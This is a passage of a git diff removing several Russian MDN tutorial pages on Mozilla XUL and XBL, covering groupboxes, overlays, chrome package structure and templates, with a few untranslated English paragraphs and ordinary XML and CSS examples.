Первые три типа требуют установки на компьютер пользователя. Эти типы приложений не имеют ограничений безопасности, к примеру они могут получать доступ к локальным файлам и читать или изменять настройки. Для дополнений, XUL файлы и связанные скрипты и картинки, должны быть упакованы в один файл, загружены и установлены пользователем. Приложения Mozilla, такие как Firefox, обеспечивают менеджер дополнений, который позволяет устанавливать дополнения без необходимости написания большого объёма сложного кода.

-

Кроме того, можно открывать XUL файлы прямо из файловой системы или с удаленного веб-сайта, но они будут ограничены по некоторым операциям, и некоторые элементы XUL не будут функционировать. Если, несмотря на это, вы хотите загрузить содержимое XUL с удалённого веб-сайта, веб-сервер должен быть настроен соответствующим образом, т.е. он должен отправлять XUL файлы с заголовком Content-Type равным "application/vnd.mozilla.xul+xml". XUL обычно хранится в файлах с .xul расширением. Вы можете открыть XUL файл браузером Mozilla как любой другой файл, используя команду "Open File" из файлового меню или введя URL в строку адреса.

-

Что нужно знать для использования этого учебника?

-

Вам необходимо знать HTML и, по крайней мере знать базовые понятия XML и CSS. Вот некоторые принципы, которые необходимо помнить:

- -
-
    -
  1. Для компоновки и элементов
  2. -
  3. Для определения стилей
  4. -
  5. Для определения сущностей (используется для локализации)
  6. -
  7. Для скриптов
  8. -
-
-

Кроме того, вы можете иметь дополнительные файлы для картинок или для данных определённой платформы.

-

XUL поддерживается в программных продуктах Mozilla и в браузерах, которые основаны на движке Gecko, таких как Netscape 6 (или более поздних версий) и Mozilla Firefox. Из-за различных изменений в XUL синтаксисе, вам необходимо получить последнюю версию для примеров, чтобы они работали корректно. Большинство примеров должно работать в Mozilla 1.0 или более поздней версии. XUL достаточно одинаков в Firefox и в других браузерах, хотя у него есть существенные различия, такие, как поддержка настраиваемых панелей инструментов.

-

В этом руководстве освещена бóльшая часть функциональности XUL, однако не все функции обсуждаются. Ознакомившись с XUL, вы можете использовать XUL Reference, чтобы узнать о других особенностях поддерживаемых элементов.

-

-

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_xbl/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_xbl/index.html" deleted file mode 100644 index a2979cadb6..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_xbl/index.html" +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Введение в XBL -slug: Mozilla/Tech/XUL/Руководство_по_XUL/Введение_в_XBL -tags: - - XBL - - XUL_Tutorial ---- -

-

-

У XUL есть родственный язык XBL (eXtensible Bindings Language, расширяемый язык привязок). Его используют для описания внешнего вида и поведения элементов XUL. -

-

Привязки

-

Вы можете использовать XUL для создания пользовательского интерфейса. Применив стили, можно настроить внешний вид элементов или создать новый скин. Основной вид всех элементов, таких как полоса прокрутки и чекбоксы можно изменить, добавив стили или атрибуты. Однако, в XUL нет средств для изменения сути работы элемента. Например, вы захотите поменять поведение полосы прокрутки. Как раз для этого нужен XBL. -

Файл XBL содержит привязки. Привязка описывает поведение элементов. К примеру, привязку можно связать с полосой прокрутки. Поведение описывается свойствами и методами полосы прокрутки дополнительно к существующему описанию на XUL. -

XUL, так же как и XBL, основан на семействе языков XML. В примере приводится основа файла XBL: -

-
<?xml version="1.0"?>
-<bindings xmlns="http://www.mozilla.org/xbl">
-  <binding id="binding1">
-    <!-- Здесь находится содержимое, свойства, методы и описание событий -->
-  </binding>
-  <binding id="binding2">
-    <!-- Здесь находится содержимое, свойства, методы и описание событий -->
-  </binding>
-</bindings>
-
-

Тэг bindings — главный элемент файла XBL содержит один или более элементов binding. Каждый тэг binding задает одну привязку. Атрибут id используется для обозначения привязки, как в примере выше. Этот шаблон содежит две привязки: binding1 и binding2. Первая может определять полосу прокрутки, а вторая меню. Привязку можно связывать с любым элементом XUL. Если вы используете CSS классы, можно сколько угодно применять к ним различные привязки. Note the namespace on the bindings element in the template above. This declares that we are using XBL syntax. -

You assign a binding to an element by setting the CSS property -moz-binding to the URL of the bindings file. For example: -

-
scrollbar {
-    -moz-binding: url('chrome://findfile/content/findfile.xml#binding1');
-}
-
-

The URL points to the binding with the id 'binding1' in the file 'chrome://findfile/content/findfile.xml'. The '#binding1' syntax is used to point to a specific binding, much like how you would point to an anchor in an HTML file. You will usually put all of your bindings in a single file. The result in this example, is that all scrollbar elements will have their behavior described by the binding 'binding1'. -

A binding has five types of things that it declares: -

-
  1. Content: child elements that are added to the element that the binding is bound to. -
  2. Properties: properties added to the element. They can be accessed through a script. -
  3. Methods: methods added to the element. They can be called from a script. -
  4. Events: events, such as mouse clicks and keypresses that the element will respond to. The binding can add scripts to provide default handling. In addition new events can be defined. -
  5. Style: custom style properties that the XBL defined element has. -
-

Binding Example

-

The box is generic enough that you can use it to create custom widgets (although you can use any element, even one you make up yourself). By assigning a class to a box tag, you can associate a binding to only those boxes that belong to that class. The following example demonstrates this. -

-
XUL (example.xul):
-
-<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-<?xml-stylesheet href="chrome://example/skin/example.css" type="text/css"?>
-
-<window
-     xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only..xul">
-  <box class="okcancelbuttons"/>
-</window>
-
-CSS (example.css):
-
-box.okcancelbuttons {
-    -moz-binding: url('chrome://example/skin/example.xml#okcancel');
-}
-
-XBL (example.xml):
-
-<?xml version="1.0"?>
-<bindings xmlns="http://www.mozilla.org/xbl"
-         xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <binding id="okcancel">
-    <content>
-      <xul:button label="OK"/>
-      <xul:button label="Cancel"/>
-    </content>
-  </binding>
-</bindings>
-
-

This example creates a window with a single box. The box has been declared to have a class of okcancelbuttons. The style sheet associated with the file says that boxes with the class okcancelbuttons have a specialized binding, defined in the XBL file. You may use other elements besides the box, even your own custom tags. -

We'll look more at the details of the XBL part in the next section. However, to summarize, it causes two buttons to be added automatically inside the box, one an OK button and the other a Cancel button. -

In the next section, we will look at creating content with XBL.

-

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\263\321\200\321\203\320\277\320\277\320\270\321\200\321\203\321\216\321\211\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\321\213/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\263\321\200\321\203\320\277\320\277\320\270\321\200\321\203\321\216\321\211\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\321\213/index.html" deleted file mode 100644 index 1e36b36ed8..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\263\321\200\321\203\320\277\320\277\320\270\321\200\321\203\321\216\321\211\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\321\213/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Группирующие элементы -slug: Mozilla/Tech/XUL/Руководство_по_XUL/Группирующие_элементы -tags: - - Руководство_по_XUL -translation_of: Archive/Mozilla/XUL/Tutorial/Groupboxes ---- -

-

-

В этом разделе рассказывается, как объединять элементы с помощью группирующей рамки. -

-

Группирующая рамка

-

Язык HTML предоставляет элемент fieldset, с помощью которого можно объединять элементы в группы. Обычно, вокруг группы рисуется рамка, отражающая связь между элементами. Примером может служить группа из нескольких флажков. В языке XUL для тех же целей предлагается использовать элемент groupbox. -

Как видно из названия, groupbox — ни что иное как разновидность бокса. Это значит, что элементы внутри него будут выравниваться по правилам боксов. Есть два различия между группирующей рамкой и обычными боксами: -

- -

Так как группирующие рамки являются видом боксов, для них можно использовать атрибуты присущие обычным боксам, например orient и flex. Вы можете помещать внутрь группирующей рамки любые элементы, хотя обычно они должны быть чем-то связаны. -

Поместить метку на верх группирующей рамки можно с помощью элемента caption. Этот элемент во многом похож на legend из HTML. Достаточно поместить один элемент caption в качестве первого дочернего элемента. -

Ниже приведен простой пример группирующей рамки: -

-
Пример: Простая группирующая рамка
-

Исходный код Просмотреть -

-
Image:titledbox1.png
-
<groupbox>
-  <caption label="Answer"/>
-  <description value="Banana"/>
-  <description value="Tangerine"/>
-  <description value="Phone Booth"/>
-  <description value="Kiwi"/>
-</groupbox>
-
-

В результате будут выведены четыре обведенные рамкой строки с меткой Answer. Обратите внимание, что по умолчанию группирующая рамка выстраивает элементы вертикально, это нужно для того, чтобы получился столбец из текстовых элементов. -

Вы так же можете добавлять в элемент caption вложенные элементы, чтобы сделать его более разнообразным. Например, панель выбора шрифта в Мозиле использует в качестве заголовка выпадающее меню. Любые другие элементы так же могут быть включены в заголовок, скорее всего вам пригодятся флажки и выпадающие списки. -

-
Группирующая рамка с флажком в заголовке
-

Исходный код Просмотреть -

-
Image:groupbox2.png
-
<groupbox flex="1">
-  <caption>
-    <checkbox label="Enable Backups"/>
-  </caption>
-  <hbox>
-    <label control="dir" value="Directory:"/>
-    <textbox id="dir" flex="1"/>
-  </hbox>
-  <checkbox label="Compress archived files"/>
-</groupbox>
-
-

В этом примере в качестве заголовка используется checkbox. Можно написать скрипт, помечающий содержимое группирующей рамки активным или неактивным в зависимости от состояния флажка. На примере группирующая рамка содержит горизонтальный элемент box с элементами label и textbox внутри. Оба элемента textbox и groupbox были сделаны эластичными, и текстовое поле в результате может менять ширину вместе с окном. Дополнительный флажок появился снизу текстового поля потому, что у группирующей рамки вертикальная ориентация элементов. В следующем разделе мы добавим группирующую рамку в наше диалоговое окно поиска файлов. -

-

Группы радиокнопок

-

Чтобы сгруппировать несколько радиокнопок, воспользуйтесь элементом radiogroup. Элемент radiogroup является типом бокса. Вы можете помещать в него любые элементы, и все они, кроме элементов radio, будут вести себя так же, как и внутри обычных боксов. -

Любые радиокнопки, содержащиеся в элементе группы, будут объединены друг с другом, даже если они находятся внутри еще каких-либо элементов. Это полезно при добавлении разных элементов, придающих группе кнопок дополнительную структуру. Этот прием отражен в следующем примере: -

Исходный код Просмотреть -

-
<radiogroup>
-  <radio id="no" value="no" label="No Number"/>
-  <radio id="random" value="random" label="Random Number"/>
-  <hbox>
-    <radio id="specify" value="specify" label="Specify Number:"/>
-    <textbox id="specificnumber"/>
-  </hbox>
-</radiogroup>
-
-

Заметьте, что вокруг элемента radiogroup по умолчанию рамка не рисуется. Можно поместить группу радиокнопок внутрь элемента groupbox, чтобы появилась рамка, и можно было добавить заголовок. -

Далее, используя только что полученные знания, мы добавим еще немного элементов в наш пример поискового диалога. -

-

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\276\320\262\320\265\321\200\320\273\320\265\320\270/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\276\320\262\320\265\321\200\320\273\320\265\320\270/index.html" deleted file mode 100644 index 20ce1660d7..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\276\320\262\320\265\321\200\320\273\320\265\320\270/index.html" +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Оверлеи -slug: Mozilla/Tech/XUL/Руководство_по_XUL/Оверлеи ---- -

В этой главе будет описаны оверлеи которые могут быть использованы для разделения обычного содержимого.

-

Использование Оверлеев

-

В простом приложении с только одним окном, обычно, вы будете иметь только один XUL файл, вместе с файлом скрипта, файлом стилей, DTD файл и возможно несколько картинок. Некоторые приложения так же будут иметь ассоциированные с ними диалоги. Они будут размещены в отдельные XUL файлы. Более сложные приложения будут содержать множество окон и диалогов.

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\321\201\321\202\321\200\321\203\320\272\321\202\321\203\321\200\320\260_xul/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\321\201\321\202\321\200\321\203\320\272\321\202\321\203\321\200\320\260_xul/index.html" deleted file mode 100644 index b2c047f1cd..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\321\201\321\202\321\200\321\203\320\272\321\202\321\203\321\200\320\260_xul/index.html" +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Структура XUL -slug: Mozilla/Tech/XUL/Руководство_по_XUL/Структура_XUL -tags: - - XUL_Tutorial ---- -

- -


- Начнём с описания того, как обрабатывается XUL в браузере Mozilla.

- -

Как обрабатывается XUL

- -

XUL обрабатывается в Mozilla теми же методами, что и HTML или другие типы содержимого. Когда вы вводите URL HTML-страницы в адресную строку браузера, браузер находит веб-сайт и загружает его содержимое. Механизм рендеринга Mozilla получает содержимое в виде исходного кода HTML и преобразует его в дерево документа. Дерево затем конвертируется в набор объектов, которые уже могут быть отображены на экране. Таблицы стилей (CSS), изображения, и другие технологии, используются для управления отображением. XUL в основном функционирует похожим образом.

- -

На самом деле, в Mozilla, все типы документов, будь то HTML или XUL, или даже SVG, обрабатываются одним и тем же кодом ядра. Это означает, что одни и те же CSS свойства могут использоваться для оформления и HTML и XUL, и многие функции также могут быть доступны обоим. Тем не менее, существуют некоторые особенности, которые являются специфическими для HTML, такие, как формы, и другие, которые являются характерными для XUL такие как оверлеи . Поскольку XUL и HTML обрабатываются сходным образом, постольку вы можете загружать их либо из локальной файловой системы, либо с веб-страницы, либо из дополнения или автономного XULRunner-приложения.

- -

Содержимое удаленных источников, например http://localhost/~username/, независимо от того, HTML это, или XUL или другой тип документа, будет по соображениям безопасности ограничено по типу операций, которое оно может выполнить. Из-за этого Mozilla обеспечивает возможность локальной установки кнтента и регистрации установленных файлов как части её chrome системы. Это позволяет использовать специальный формат URL -- chrome:// URL. Получая доступ к файлу посредством chrome URL, Mozilla обеспечивает этим файлам расширенные права для доступа к локальным файлам, к настройкам и закладкам, и выполнению других привилегированных операций. Очевидно, что у веб-страниц нет таких привилегий, если только они не имеют цифрового сертификата и пользователь не дал разрешение на выполнение таких операций.

- -

Эта регистрация пакетов в chrome системе -- способ Firefox-дополнений добавлять новые функции в браузер. Дополнения это небольшие пакеты из XUL файлов, сценариев JavaScript, таблиц стилей и изображений упакованных в один файл. Такой упакованный файл может быть создан с помощью архиватора ZIP. Когда пользователь загружает дополнение, файлы, содержащиеся в нем устанавливаются на компьютер пользователя. Расширение внедряется в браузер с помощью специального механизма XUL, называемого - оверлей (overlay) и обеспечивающего объединение XUL-кода дополнения и кода XUL браузера. Пользователю может показаться, что дополнение изменило браузер, но на самом деле, код браузера и дополнения разделены, и дополнение может быть легко удалено. Зарегистрированным пакетам, конечно же, использование оверлеев не требуется. Если бы это было не так, то вы не смогли бы получить к ним доступ посредством основного интерфейса браузера, правда, к ним можно все же получить доступ с помощью chrome URL, если вы знаете что это такое.

- -

Автономные XUL приложения могут интегрировать XUL-код похожим способом, но, естественно, XUL для приложения будет включаться как часть установки, вместо того чтобы быть установленным отдельно как дополнение. Однако, этот XUL-код будет зарегистрирован в chrome-системе, чтобы приложение могло отображать интерфейс пользователя.

- -

Следует также отметить, что браузер Mozilla сам представляет собой просто набор пакетов, содержащих файлы XUL, JavaScript и таблицы стилей. Эти файлы доступны через chrome URL, имеют расширенные привилегии и работают так же, как любой другой пакет. Конечно, браузер гораздо больше и более сложен, чем большинство дополнений. Firefox и Thunderbird также как и другие компоненты, все написаны на XUL и все они доступны через chrome URL-ы. Вы можете исследовать эти пакеты, просмотрев каталог chrome, в который установлен Firefox или другое XUL приложение.

- -

Chrome URL всегда начинается с 'chrome://'. Также как 'http://' URL всегда ссылается на веб-сайты используя HTTP и 'file://' URL всегда ссылается на локальные файлы, 'chrome://' URL всегда ссылается на установленные пакеты и дополнения. Подробнее синтаксис chrome URL будет рассмотрен в следующем разделе. Важно отметить, что доступ через chrome URL даёт дополнительные привилегии, описанные выше, чего не дают другие типы URL. Так, например, HTTP URL не имеет каких-либо особых привилегий, и если веб-страница попытается, например, считать локальный файл то произойдет ошибка. А файл, загруженный через chrome URL, может читать файлы имея тот же уровень доступа, что и установленное расширение, которому он принадлежит.

- -

Это различие очень важно. Оно означает, что есть определенные вещи, которые контент веб-страницы не может выполнить, например - прочитать закладки пользователя. Это различие основывается не на типе отображаемого контента, а только на типе используемого URL. И HTML и XUL, размещённые на веб-сайте, не имеют никаких дополнительных разрешений, однако если и HTML и XUL загружены через chrome URL, то они эти разрешения получают.

- -

Если вы собираетесь использовать XUL на веб-сайте, то просто выложите на этот сайт XUL, как обычный HTML файл, а затем загрузите этот URL в браузере http://localhost/xul.php. Проверьте, что ваш веб-сервер отправляет правильный заголовок типа контента content-type (он должен быть равен application/vnd.mozilla.xul+xml, например, для PHP можно использовать header('Content-type: application/vnd.mozilla.xul+xml');). Этот тип контента является механизмом, с помощью которого система Mozilla отличала XUL от HTML. Mozilla не использует расширение файла, если только не считывает файлы из файловой системы, но для XUL файлов вам необходимо использовать расширение .xul. Вы можете загружать XUL файлы с собственного компьютера, открывая их в браузере или двойным щелчком по имени файла в файловом менеджере.

- -
Помните, что XUL, полученный из удаленного источника будет иметь значительные ограничения в действиях, которые он сможет выполнять.
- -

Типы документа: HTML XML XUL CSS

- -

Mozilla использует существенно разные типы объектов документа (DOM) для HTML и XUL, хотя у них много общего в смысле функциональности. В Mozilla есть вВсего три типа документа имеются : HTML, XML, and XUL. Естественно, HTML документ используется для документов HTML, XUL документ используется для документов XUL, и XML документ используется для других типов документов XML. Поскольку XUL это разновидность XML, постольку документ XUL это подмножество более общего XML документа. Однако есть тонкие различия в функциональности. Так, например, когда управляющие элементы формы на HTML странице доступны через свойство document.forms, это свойство не доступно для документов  XUL, так как в XUL нет форм в том смысле, в котором они есть в HTML. Сходным образом специфические возможности XUL, такие как оверлеи и шаблоны, существуют только в документах XUL.

- -

Эти различия очень важны. Можно использовать многие возможности XUL в HTML или XML документах в тех случаях, когда эти возможности не являются специфичными для типа документа; тем не менее для других возможностей необходим правильный тип документа.

- -

Подведя итоги вышесказанного:

- - - -

Следующие несколько разделов описывают chrome пакет, который может устанавливаться в Mozilla. Но, если вы хотите уже начать разработку простого приложения, то вы можете сразу перейти на Создаем окно и вернуться к этому разделу позже.

- -

Устройство пакета

- -

Mozilla устроен таким образом, что вы можете иметь столько компонентов сколько вы захотите установить. Каждое дополнение - это отдельный компонент со своим chrome URL. В Mozilla также есть по одному компоненту для каждого установленного скина и локали. Каждый из этих компонентов, или пакетов, состоит из набора файлов, которые описывают его пользовательский интерфейс. К примеру, компонент messenger содержит описания окна списка почтовых сообщений, окно создания письма и описания диалоговых окон адресной книги.

- -

Пакеты, которые предоставляются в составе Mozilla, расположены внутри каталога chrome, который находится в каталоге, в который вы установили Mozilla. В каталоге chrome вы найдете все файлы, описывающие интерфейс самого браузера Mozilla, почтового клиента, и других приложений. Обычно вы размещаете все  XUL файлы в каталоге приложения, однако дополнения устанавливаются в каталоге extensions для каждого отдельного пользователя. Простое копирование XUL файла в каталог chrome не дает ему каких-либо дополнительных привилегий, также он не может быть доступен через chrome URL. Для получения дополнительных привилегий вам необходимо создать manifest-файл и поместить его в каталог chrome. Этот файл легко создать, так как он обычно состоит всего из нескольких строк. Он используется для отображения(связывания) chrome URL-а на путь к файлу или каталогу где лежат XUL файлы. Подробности создания этого файла обсуждаются в разделе далее.

- -

Единственный способ создать контент доступный через chrome URL, это создать пакет, как описано в нескольких нижеследующих разделах. Каталог называется 'chrome', скорее всего потому, что имя оказалось удобным, чтобы запомнить, что он используется для хранения chrome пакетов, содержащихся в Mozilla.

- -

Чтобы увеличить путаницу, отметим, что есть еще два других места, где может появляться слово "chrome". Это параметр -chrome в командной строке и модификатор chrome в функции window.open(). Ни одна из этих возможностей не дает дополнительных привилегий; вместо этого они используются для открытия нового окна верхнего уровня без элементов браузерного интерфейса, таких, как меню и панели инструментов. Вы можете использовать эту возможность в более сложных XUL приложениях если не хотите чтобы интерфейс браузера присутствовал в ваших диалоговых окнах.

- -

Файлы пакета обычно объединяются в JAR файл. Этот файл может быть создан любым ZIP архиватором. Например, вы можете открыть JAR файлы из  каталога chrome Mozill-ы, чтобы посмотреть базовую структуру пакета.  Несмотря на то, что обычно файлы упаковываются в JAR, пакеты могут также быть доступны в несжатой форме внутри каталога. Распространять пакеты таким образом не рекомендуется, но это очень удобно для разработки, так как вы можете править файлы напрямую и перезагружать XUL без необходимости переустановки или переупаковки файлов.

- -

По умолчанию, приложения Mozill-ы парсят XUL файлы и скрипты, и сохраняют прекомпилированную версию в памяти до конца сессии приложения. Это повышает производительность. Однако, из-за этого XUL не перезагрузится даже если исходные файлы изменятся. Чтобы отключить этот механизм, необходимо изменить опцию nglayout.debug.disable_xul_cache. В Firefox, эта опция может быть добавлена в пользовательские настройки простым вводом "about:config" в адресную строку, и установкой значения опции в true. Или же вы можете вручную отредактировать файл настроек user.js, добавив следующую строчку:

- -
pref("nglayout.debug.disable_xul_cache", true);
-
- -

Как правило chrome пакет состоит из трех частей, хотя ни одна из них не является обязательной. Каждая часть хранится в отдельном каталоге. Эти три части это контент, скин и локаль, все они описываются ниже. Отдельно взятый пакет может содержать один или более скинов и локалей, но пользователи могут заменять их своими собственными. Дополнительно пакет может содержать несколько различных приложений, каждое из которых доступно через свой  отдельный chrome URL. Система упаковки достаточно гибкая, так что вы можете включать любые нужные вам части и разрешать отдельную загрузку других частей, таких как текст для разных языков пользователей.

- -

Три типа chrome-пакетов, это:

- - - -

Пакеты контента

- -

Имя файла JAR может описывать то, что он содержит, но вы не сможете сказать с уверенностью, соответствует ли название пакета его содержимому, до тех пор пока не просмотрите это содержимое. Приведем пример на основе пакета, имеющегося в составе Firefox. Если вы распакуете файлы из пакета  browser.jar, вы увидите, что он содержит струтуру папок выглядящую скорее всего примерно так:

- -
content
-   browser
-      browser.xul
-      browser.js
-      -- other browser XUL and JS files goes here --
-      bookmarks
-         -- bookmarks files go here --
-      preferences
-         -- preferences files go here --
-.
-.
-.
-
- -

Этот пакет можно легко опознать, как пакет контента, поскольку папка самого верхнего уровня называется content. Для скинов эта папка, как правило, будет называться skin, а для локалей - locale. Эта схема поименования не является обязательной, но это общепринятое соглашение для того, чтобы сделать более понятным, какая часть пакета что содержит. Некоторые пакеты могут иметь раздел контента, скин и локаль. В таком случае вы обнаружите по папке для каждого типа. Так например пакет Chatzilla поставляется именно в таком виде.

- -

Папка content/browser содержит набор файлов с расширениями .xul и .js. XUL файлы - это файлы с расширением .xul. Файлы с расширением .js - это файлы сценариев на языке JavaScript, которые обеспечивают собственно функциональность элементов интерфейса окна. Многие XUL файлы имеют файл сценария, связанного с ними, а некоторые могут иметь по несколько таких файлов сценариев.

- -

В вышеприведенном листинге приведены два файла. Конечно в пакете есть и другие файлы, но для простоты изложения они не показаны. Файл browser.xul - это XUL файл, который описывает главное окно браузера. Главное окно для пакета контента должно иметь такое же имя, как пакет с раширением .xul. В данном случае имя пакета - "browser", поэтому мы предполагаем обнаружить файл browser.xul. Некоторые другие XUL файлы описывают отдельные окна. Например, файл pageInfo.xul описывает диалог информации о странице.

- -

Во многие пакеты будет входить файл contents.rdf, который описывает пакет, его автора, и оверлеи, которые использует этот пакет. Однако этот файл устарел и заменен более простым механизмом. Этим механизмом является файл манифеста, упомянутый ранее, вы можете отличить эти файлы в папке chrome по расширению .manifest. Например, browser.manifest описывает пакет браузера.

- -

Несколько подкаталогов, таких, как bookmarks и preferences, представляют дополнительные разделы компонента браузера. Они размещаются в различных папках только для того, чтобы расположение файлов было более организованным.

- -

Скины или Темы

- -

Несмотря на то, что код ядра Mozilla называет такие объекты скинами, а в пользовательском интерфейсе они называются темами, они оба ссылаются на одну и ту же вещь. В файле classic.jar описана тема по умолчанию, поставляемая вместе с Firefox. Структура этих частей  очень напоминает пакеты контента. Например, посмотрите classic.jar:

- -
skin
-   classic
-      browser
-         browser.css
-         -- other browser skin files go here --
-      global
-         -- global skin files go here --
-.
-.
-.
-
- -

Повторимся, что такая струтура папок не является необходимой и используется исключительно для удобства. В действительности вы можете поместить все файлы в одну папку верхнего уровня и не пользоваться подкаталогами. Однако в случае приложений большого размера подкаталоги используются для разделения разных компонентов. В вышеприведенном примере одна папка предназначена для файлов, связанных с темой для браузера, a другая - для файлов, имеющих отношение к общей для приложения теме оформления. Общая папка содержит файлы тем оформления (скинов), являющиеся общими для всех пакетов. Эти файлы используются во всех компонентах и будут включены в поставку вашего отдельного самостоятельного приложения. Общая часть определяет внешний вид всех общих виджетов XUL, тогда как все прочие папки содержат файлы, специфичные для самих приложений. Firefox содержит в одном архиве и общие файлы темы оформления и файлы темы оформления браузера, но они могут содержаться и по отдельности.

- -

Скин состоит из CSS файлов и набора изображений, используемых для задания внешнего вида интерфейса. Файл browser.css используется файлом browser.xul и содержит стили, которые определяют внешний вид различных частей интерфейса браузера. Повторно отметим, что файл browser.css называется такое же имя, как и пакет в целом. Путем изменения CSS файлов вы можете менять внешний вид окна, не меняя при этом его функций. Именно таким способом вы можете создать новую тему оформления. Часть XUL остается неизменной, и независимо от нее меняется только часть со скином.

- -

Локали

- -

Файл en-US.jar содержит описание языковой информации для каждого компонента, в данном случае на американском варианте Английского языка. Аналогично скинам, каждый языковой раздел содержит файлы, которые определяют тексты, используемые в пакете для каждого отдельного языка. Структура локали сходна со всеми остальными, поэтому здесь она не приводится.

- -

Локализованный текст хранится в файлах двух типов: DTD файлы и файлы свойств. Файлы DTD имеют расширение .dtd и содержат определения объектов, по одному на каждую строку текста, используемую в окне. Например, файл browser.dtd содержит определения объектов для каждой команды меню. Кроме того для каждой команды определяются сочетания клавиш, так как они могут быть различными для каждого языка. Файлы DTD также используются XUL файлами, по одному файлу DTD на каждый XUL файл в общем случае. Часть локали также содержит файлы свойств, которые похожи на файлы DTD, но используются файлами сценариев. Файл browser.properties содержит несколько таких локализованных строк.

- -

Эта структура позволяет вам переводить Mozilla или компонент приложения на разные языки просто добавляя новые локали для этих языков. И при этом вам не нужно менять полностью код XUL. К тому же другой программист может создать отдельный пакет, который добавит скин или локаль к контенту вашего приложения, что позволят создавать новые темы оформления или добавлять языки интерфейса без необходимости менять исходный пакет.

- -

Другие пакеты

- -

Существует специальный пакет, называющийся toolkit (или global). Ранее мы уже видели папку с глобальными данными в скинах. Файл toolkit.jar содержит соответствующие части контента для такого пакета. Он содержит некоторые глобальные диалоги и определения. Также он определяет вид по умолчанию и функциональность различных общих виджетов XUL, таких как текстовые поля и кнопки. Файлы, расположенные в глобальной части пакета скина содержат вид по умолчанию для всех элементов интерфейса XUL. Пакет tolkit используется всеми XUL приложениями.

- -

Добавление пакета

- -

Mozilla помещает пакеты, которые поставляются вместе с дистрибутивом, в папку chrome. Однако это не означает, что они обязательно должны там размещаться. При установке другого пакета вы можете поместить его в любое место на диске, при условии, что файл манифеста указывает на это место.

- -

Традиционно пакеты помещаются в папку chrome просто потому, что это удобно; тем не менее они будут работать точно так же и будучи размещенными в другой папке или даже в каком-нибудь каталоге вашей локальной сети. Но вы не сможете хранить их на удаленном сайте, если только этот сайт не смонтирован как локальная файловая система.

- -

Есть две папки chrome используемых для XUL приложений: одна - в том же месте, в которое установлено приложение, тогда как другая - часть профиля пользователя. Первая предназначена для пакетов, которые используются всеми пользователями, а вторая - для пакетов, применяемых только отдельным пользователем или пользователями. Расширения, будучи установленными в отдельную папку для расширений, также специфичны для каждого пользователя. Любые файлы манифеста, расположенные в любой из вышеприведенных папок, будут проверяться, чтобы определить, какие пакеты установлены.

- -

В следующей главе мы рассмотрим, как ссылаться на chrome пакеты с помощью chrome URL.

- -

Interwiki Language Links

- -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/actions/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/actions/index.html" deleted file mode 100644 index 179838def0..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/actions/index.html" +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Генерирование контента -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Actions -tags: - - Руководство_по_шаблонам_XUL -translation_of: Archive/Mozilla/XUL/Template_Guide/Actions ---- -

Для создания контента в шаблоне используется элемент <action>, который должен быть либо сестринским узлом элемента query либо прямым дочерним узлом элемента <rule>. Для каждого результата содержимое блока копируется и вставляется в документ. Давайте для начала рассмотрим простой пример.

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A">
-  <template>
-    <query>
